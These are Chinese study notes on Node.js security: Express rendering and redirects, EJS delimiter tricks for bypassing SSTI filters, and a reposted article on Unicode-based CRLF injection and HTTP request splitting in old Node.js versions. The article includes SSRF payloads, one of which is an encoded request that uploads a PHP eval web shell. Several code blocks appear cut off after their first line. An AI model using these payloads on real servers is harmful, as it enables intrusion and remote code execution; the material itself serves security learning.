总结学习一下,重点把拆分攻击学习记忆一下,原型链污染单独开一篇写
res.render()
res.render()
是 Node.js 中的一个方法,它可以渲染视图并将渲染后的 HTML 字符串发送给客户端
。它可用于通过从服务器传递的数据呈现动态内容。
以下是在 Node.js 中使用 res.render()
的示例代码:
1 | app.get('/', function(req, res) { |
在此示例中,当用户访问根 URL 时,服务器将通过使用包含消息 你好,世界!
的 data
对象来呈现 index
视图,并向客户端发送响应。
index
视图通常是使用模板语言编写的模板文件,例如 EJS、Handlebars 或 Pug。
重定向概念
Express是一个基于Node.js
实现的Web框架,
其响应HTTP请求的response对象中有两个用于URL跳转方法
res.location()
和res.redirect()
res.location()
res.location()里面的参数有三种,一种是当前域名路径(例如”/api/post”),一种是绝对路径(“https://www.oecom.cn/api/post “),另一种就是直接一个字符串:back
1 | res.location('/api/post'); |
res.redirect
redirect()
可以添加两个参数,
如果第一个参数为数值类型,则代表重定向方式,第二个参数为字符串类型,就是需要跳转到的路径。
如果第一个参数就是字符串,则直接代表跳转的路径
重定向方式有两种情况,一种是301
重定向(永久重定向),另一种是302
重定向(临时重定向),如果第一个参数不填,则默认为302
重定向。至于第二个参数路径,则和location
一致。
在redirect
中有一种方式是使用相对路径,即:res.redirect("api/post")
,假设在程序在/get
路由下,则表示要跳转的路径为/get/api/post
。
个人不推荐这种方式,因为在后续的代码阅读时不利于快速理解重定向位置。
delimiter
这是对标签的分隔符定义的选项,有时候当对ssti一些标签进行了过滤,如果存在将参数进行渲染,且参数是可控,可以尝试delimiter
添加进去,让其在渲染的时候可以覆盖修改delimiter
内容,使得可以用其他分隔符绕过
Custom delimiters
自定义分隔符可以基于每个模板应用,也可以全局应用:
1 | let ejs = require('ejs'), |
NodeJS 中的 CRLF/SSRF Injection
本文由WHOAMI原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/240014
安全客 - 有思想的安全新媒体
2018 年有研究者发现,当Node.js使用 http.get
向特定路径发出HTTP请求时,发出的请求实际上被定向到了不一样的路径!
深入研究一下,发现这个问题是由Node.js将HTTP请求写入路径时,对Unicode字符的有损编码引起的。
·注:nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击,nodejs 不会对这些 Unicode 进行编码转义,因为它们不是 HTTP 控制字符
HTTP 请求路径中的 Unicode 字符损坏
虽然用户发出的 HTTP 请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的Unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,例如🐶这个表情。所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130
就会被截断为 \u30
:
Unicode 字符损坏造成的 HTTP 拆分攻击
刚才演示的那个 HTTP 请求路径中的 Unicode 字符损坏看似没有什么用处,但它可以在 nodejs 的 HTTP 拆分攻击中大显身手。
由于nodejs的HTTP库包含了阻止CRLF的措施,即如果你尝试发出一个URL路径中含有回车、换行或空格等控制字符的HTTP请求是,它们会被URL编码,所以正常的CRLF注入在nodejs中并不能利用:
1 | > var http = require("http"); |
但不幸的是,上述的处理Unicode字符错误意味着可以规避这些保护措施。考虑如下的URL,其中包含一些高编号的Unicode字符:
1 | > 'http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI' |
当 Node.js v8 或更低版本对此URL发出 GET
请求时,它不会进行编码转义,因为它们不是HTTP控制字符:
1 | > http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output |
但是当结果字符串被编码为 latin1 写入路径时,这些字符将分别被截断为 “\r”(%0d)和 “\n”(%0a):
1 | > Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString() |
可见,通过在请求路径中包含精心选择的Unicode字符,攻击者可以欺骗Node.js并成功实现CRLF注入。
不仅是CRLF,所有的控制字符都可以通过这个构造出来。下面是我列举出来的表格,第一列是需要构造的字符,第二列是可构造出相应字符的高编号的Unicode码,第三列是高编号的Unicode码对应的字符,第四列是高编号的Unicode码对应的字符的URL编码:
字符 | 可由以下Unicode编码构造出 | Unicode编码对应的字符 | Unicode编码对应的字符对应的URL编码 |
---|---|---|---|
回车符 \r | \u010d | č | %C4%8D |
换行符 \n | \u010a | Ċ | %C4%8A |
空格 | \u0120 | Ġ | %C4%A0 |
反斜杠 \ | \u0122 | Ģ | %C4%A2 |
单引号 ‘ | \u0127 | ħ | %C4%A7 |
反引号 ` | \u0160 | Š | %C5%A0 |
叹号 ! | \u0121 | ġ | %C4%A1 |
这个bug已经在Node.js10中被修复,如果请求路径包含非Ascii字符,则会抛出错误。但是对于 Node.js v8 或更低版本,如果有下列情况,任何发出HTTP请求的服务器都可能受到通过请求拆实现的SSRF的攻击:
- 接受来自用户输入的Unicode数据
- 并将其包含在HTTP请求的路径中
- 且请求具有一个0长度的主体(比如一个
GET
或者DELETE
)
在 HTTP 状态行注入恶意首部字段
由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入恶意的 HTTP 首部字段的话还需要闭合状态行中 HTTP/1.1
,即保证注入后有正常的 HTTP 状态行:
1 | > http.get('http://47.101.57.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami').output |
如上图所示,成功构造出了一个 Set-Cookie 首部字段,虽然后面还有一个 HTTP/1.1
,但我们根据该原理依然可以将其闭合:
1 | > http.get('http://47.101.57.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami\u010D\u010Atest:').output |
这样,我们便可以构造 “任意” 的HTTP请求了。
在 HTTP 状态行注入完整 HTTP 请求
首先,由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 HTTP/1.1
,即保证注入后有正常的 HTTP 状态行。其次为了不让原来的 HTTP/1.1
影响我们新构造的请求,我们还需要再构造一次 GET /
闭合原来的 HTTP 请求。
假设目标主机存在SSRF,需要我们在目标主机本地上传文件。我们需要尝试构造如下这个文件上传的完整 POST 请求:
1 | POST /upload.php |
为了方便,我们将这个POST请求里面的所有的字符包括控制符全部用上述的高编号Unicode码表示:
1 | payload = ''' HTTP/1.1 |
构造请求:
1 | > http.get('http://47.101.57.72:4000/ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįŵŰŬůšŤĮŰŨŰĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠĴijķčĊŃůŮŴťŮŴĭŔŹŰťĺĠŭŵŬŴũŰšŲŴįŦůŲŭĭŤšŴšĻĠŢůŵŮŤšŲŹĽĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįĹİĮİĮĴĴijİĮķIJĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹčĊŃůůūũťĺĠŐňŐœŅœœʼnńĽŮūĶķšųŴŶĶıŨűšŮųūūŤŤųŬūŧųŴĴčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢōŁŘşņʼnŌŅşœʼnŚŅĢčĊčĊıİİİİİčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŵŰŬůšŤťŤĢĻĠŦũŬťŮšŭťĽĢųŨťŬŬĮŰŨŰĢčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįůţŴťŴĭųŴŲťšŭčĊčĊļĿŰŨŰĠťŶšŬĨĤşŐŏœŔśĢŷŨůšŭũĢŝĩĻĿľčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŕŰŬůšŤĢčĊčĊŕŰŬůšŤčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶĭĭčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ') |
如上图所示,成功构造出了一个文件上传的POST请求,像这样的POST请求可以被我们用于 SSRF。下面我们分析一下整个攻击的过程。
原始请求数据如下:
1 | GET / |
当我们插入CRLF数据后,HTTP请求数据变成了:
1 | GET / |
上次请求包的Host字段和状态行中的 HTTP/1.1
就单独出来了,所以我们再构造一个请求把他闭合:
1 | GET / |